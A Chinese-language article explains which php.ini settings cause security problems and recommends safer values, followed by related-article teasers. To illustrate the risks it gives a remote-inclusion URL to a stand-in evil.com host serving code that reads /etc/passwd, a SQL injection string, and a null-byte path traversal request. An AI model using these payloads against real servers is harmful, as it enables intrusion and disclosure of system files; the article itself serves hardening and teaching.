PHP作为一门强大的脚本语言被越来越多的web应用程序采用,不规范的php安全配置可能会带来敏感信息泄漏、SQL注射、远程包含等问题,规范的安全配置可保障最基本的安全环境。下面我们分析几个会引发安全问题的PHP配置,并给出建议的选项。

1、 register_globals = Off

PHP在进程启动时,会根据register_globals的设置,判断是否将$_GET、$_POST、$_COOKIE、$_ENV、$_SERVER、$REQUEST等数组变量里的内容自动注册为全局变量。

我们举个例子来说明register_globals = On时,会引发的安全问题:

<?php  
if (authenticated_user()) 
  $authorized = true; 
?>

//  由于authorized 未被初始化,故而可能通过register_globals被定义

//  如 GET example.php?authorized=1
<?php if (!$authorized):

// 一些重要的操作,比如SetCookies

include(“SetCookies.php”);

?>

对于上述代码,由于PHP会自动的为每个提交的值创建一个变量,这样只要在请求中提交http://example.com/example.php?authorized=1,即可获得授权操作,为了避免出现这样的问题,建议将register_globals配置为Off。

2、 allow_url_include =Off  

PHP通过此选项控制是否允许通过include/require来执行一个远程文件(如http://evil.com/evil.php或ftp://evil.com/evil.php)。

代码示例如下:

// http://HostA/test.php如下:

<?php

$strParam = $_GET['param'];

if (!include_once($strParam.’.php’)){

echo “error”;

}

?>

// http://evil.com/evil.php示例如下:

<?php 
   echo "<?php system('cat/etc/passwd'); ?>"

?>

假如用户访问如下的URL,访问页面中的$strParam将被设置为一个远程的URL:http://evil.com/evil.php。如果此配置被设置为on,那么test.php会通过include_once执行远程服务器上的PHP文件(http://evil.com/evil.php),后果不言而喻。

http://HostA/test.php?param=http://evil.com/evil

所以建议此选项强制配置为Off。

当然要彻底解决上述代码的安全漏洞,除了规范PHP配置,还需要规范PHP编码。

3、 magic_quotes_gpc = on  

举一个典型的SQL注入示例,假如SQL语句用如下方式拼接:

select * from user where pass=’ “. $_GET[‘passwd’]. ”' and user='” . $_GET[‘username’] .”';

假如用户提交一个login.php?passwd=p&username=’ or ‘1’=’1请求,代码中的SQL语句将变成:

这就造成一个SQL注入漏洞。避免此问题出现的正确思路是开发者在拼接SQL语句之前过滤所有接收的数值,并严格执行这种编码规范,但是并不是所有的开发者都会意识到这种问题的存在,而此时,如果将php.ini的magic_quotes_gpc设置为On时,PHP将对所有GPC参数($_GET,$_POST,$_COOKIE)进行addslashes处理[既转义单引号、双引号、反斜线和nullbyte],该SQL语句将是:

由于’已经被转义,SQL语句不能被成功执行,从而防止SQL注射。

另外,以小节2中的http://HostA/test.php为例,当magic_quotes_gpc= Off的情况下,用户提交一个example.php?param=../../../etc/passwd%00请求,由于代码中限制的文件后缀(.php)将被%00截断,就会通过require_once尝试读取/etc/passwd文件。

值得注意的是,magic_quotes_gpc配置为On时,有以下缺点:

1、     php此时会对所有GPC参数做addslashes处理,会有比较大的性能损耗。

2、     当GPC参数被用于其他操作如逻辑关系判断之前就必须先做strislashes处理,否则结果必然是不正确的。

考虑到开启此选项带来的性能损耗和代码的复杂化,可以在使用时灵活设置,对于一些不规范或者无人维护的代码,可以开启此选项;更好的做法是将此值设置为Off,由开发者严格过滤来自用户的输入。

4、 expose_php = Off  

我们经常会在一个http头里发现这样的信息:

X-Powered-By:PHP/5.2.11

PHP的版本号暴露无疑,攻击者很容易捕获到此信息,要想解决此问题我们只要如下配置

;;;;;;;;;;;;;;;;;

; Miscellaneous ;

;;;;;;;;;;;;;;;;;

; Decides whether PHP may expose the fact thatit is installed on the server

; (e.g. by adding its signature to the Webserver header).  It is no security

; threat in any way, but it makes it possibleto determine whether you use PHP

; on your server or not.

; http://php.net/expose-php

expose_php = On

该配置项默认为On,需要修改为Off。

5、 display_errors = Off

此控制项控制PHP是否将error、notice、warning日志打印出来,以及打印的位置。错误信息主要用于辅助开发,但是在线上环境却非常危险,因为这样将会把服务端的WebServer、数据库、PHP代码部署路径,甚至是数据库连接、数据表等关键信息暴露出去,为攻击者带来极大便利。所以建议产品上线时修改为Off。

6、 error_reporting = E_ALL& ~E_NOTICE

此配置项控制PHP打印哪些错误日志(errors,warnings,notices)。默认情况下会打印所有的错误日志,线上环境我们应该不显示具体的E_NOTICE日志信息。

导致E_NOTICE错误的最普遍场景是——使用未经初始化的变量,以下述代码为例:

// 假如用户请求中无username 参数,则会打印notice错误

<?php

// 假如用户请求中无username 参数,则会打印notice错误

$username = $_GET[‘username’];

// 引用一个未初始化的变量var2

//  则会打印notice错误

$var1   = $var2;

?>

如果用户访问的url中没有指定username参数,则代码中$_GET[‘username’]就是一个未经初始化的变量,直接访问就会抛出一个NOTICE错误。上述代码执行会报如下错误,这样即泄漏了代码目录。

PHP Notice: Undefined index: username in /somepath/test.php on line 3

PHP Notice: Undefined variable: var2 in /somepath/test.php on line 6

攻击者会利用这些信息,猜测代码逻辑,使得攻击变得更方便。

7、 display_startup_errors =Off  

php启动时产生的错误由此选项进行控制,这个和display_errors是分开的。为了避免PHP进城启动时产生的错误被打印到页面上而造成信息泄漏,此选项在线上服务也应该被配置为Off。

为了方便开发和调试,开发环境可以将其设置为On。

由此我们可以看出,正确的PHP基础安全配置可有效避免很多高危漏洞,避免泄漏服务器敏感信息,从而提升产品的安全性。

php.ini配置的更多相关文章

  1. 【转载】PHP.INI配置:Session配置详细说明教程

    网上有很多PHP.INI文件配置的中文说明,但是对于PHP初学者来说在进行PHP运行环境搭建配置时还是容易一头雾水,今天换一种角度来分享如何进行php.ini配置,以求达到解决实际问题的效果,开篇以P ...

  2. 深入理解php中的ini配置(1)

    这篇文章不会详细叙述某个ini配置项的用途,这些在手册上已经讲解的面面俱到.我只是想从某个特定的角度去挖掘php的实现机制,会涉及到一些php内核方面的知识:-) 使用php的同学都知道php.ini ...

  3. 跟开涛老师学shiro -- INI配置

    之前章节我们已经接触过一些INI配置规则了,如果大家使用过如spring之类的IoC/DI容器的话,Shiro提供的INI配置也是非常类似的,即可以理解为是一个IoC/DI容器,但是区别在于它从一个根 ...

  4. php.ini配置中文详解

    ;;;;;;;;;;; ; 警告 ; ;;;;;;;;;;; ; 此配置文件是对于新安装的PHP的默认设置. ; 默认情况下,PHP使用此配置文件安装 ; 此配置针对开发目的,并且*不是*针对生产环境 ...

  5. EDIT Ini写Ini配置

    EDIT Ini写Ini配置  uses IniFiles; {$R *.dfm}   function IniFileName:string; begin    Result:=ExtractFil ...

  6. 两个由于php.ini配置错误导致的报错:ajax图片上传报错和exec报错

    遇到了两个由于php.ini配置错误导致的报错:ajax图片上传报错和exec报错 首先第一个: 在做一个用ajax图片上传的功能中,php报了这样一个错误:File upload error - u ...

  7. [php基础]PHP.INI配置:Session配置详细说明教程

    网上有很多PHP.INI文件配置的中文说明,但是对于PHP初学者来说在进行PHP运行环境搭建配置时还是容易一头雾水,今天换一种角度来分享如何进行php.ini配置,以求达到解决实际问题的效果,开篇以P ...

  8. Lnmp修改php.ini配置

    http://www.chenruixuan.com/archives/341.html A-A+ 陈瑞轩2014年5月8日07102 次浏览PHP | 工作 要在lnmp系统里面修改php.ini配 ...

  9. Apache shiro集群实现 (二) shiro 的INI配置

    Apache shiro集群实现 (一) shiro入门介绍 Apache shiro集群实现 (二) shiro 的INI配置 Apache shiro集群实现 (三)shiro身份认证(Shiro ...

  10. 第四章:shiro的INI配置

    4.1 根对象SecurityManager 从之前的Shiro架构图可以看出,Shiro是从根对象SecurityManager进行身份验证和授权的:也就是所有操作都是自它开始的,这个对象是线程安全 ...

随机推荐

  1. UINavigationController 导航控制器

    一.导航视图控制器 1.管理视图控制器 2.控制视图控制器之间的跳转 3.是以压栈和出栈的形式来管理视图控制器 4.导航视图控制器必须要设置根视图控制器 5.导航是视图控制器包含UINavigatio ...

  2. js数组小结

    1.js数组使用sort()排序 var a = ["1","12","3","4","0"]; d ...

  3. 【solr基础教程之二】索引

    一.向Solr提交索引的方式 1.使用post.jar进行索引 (1)创建文档xml文件 <add> <doc> <field name="id"&g ...

  4. SSH 5W学习

    what SSH的英文全称为Secure Shell,是IETF(Internet Engineering Task Force)的Network Working Group所制定的一族协议,其目的是 ...

  5. javascript写的新闻滚动代码

    在企业站中,我们会看到很多新闻列表很平滑的滚动,但是这种功能自己写太浪费时间,下面是我整理好的一组很常用的新闻列表滚动,有上下分页哦! 1.body里面 <div class="tz_ ...

  6. [C++程序设计]对“&”和“*”运算符

    对“&”和“*”运算符再做些说明:(1) 如果已执行了“pointer_1=&a;”语句,请问&*pointer_1的含义是什么?“&”和“*”两个运算符的优先级别相同 ...

  7. 当浏览器输入url的时候发生了什么

    当用户在浏览器地址栏里面输入一个url的时候.接下来会发生一系列的过程.首先是DNS解析, 将域名转换成对应的IP地址,之后浏览器与远程Web服务器通过TCP三次握手协商来建立一个TCP/IP连接.该 ...

  8. Qt中事件处理的方法(三种处理方法,四种覆盖event函数,notify函数,event过滤,事件处理器。然后继续传递给父窗口。可观察QWidget::event的源码,它是虚拟保护函数,可改写)

    一.Qt中事件处理的方式   1.事件处理模式一 首先是事件源产生事件,最后是事件处理器对这些事件进行处理.然而也许大家会问, Qt中有这么多类的事件,我们怎么样比较简便的处理每个事件呢?设想,如果是 ...

  9. eclipse的优化 gc.log

    原帖:http://www.javaeye.com/topic/756538 性能优化从身边做起. 首先建立评估体系,将workspace里所有的项目close掉,关闭eclipse.优化的用例就是启 ...

  10. PV与并发之间换算的算法 换算公式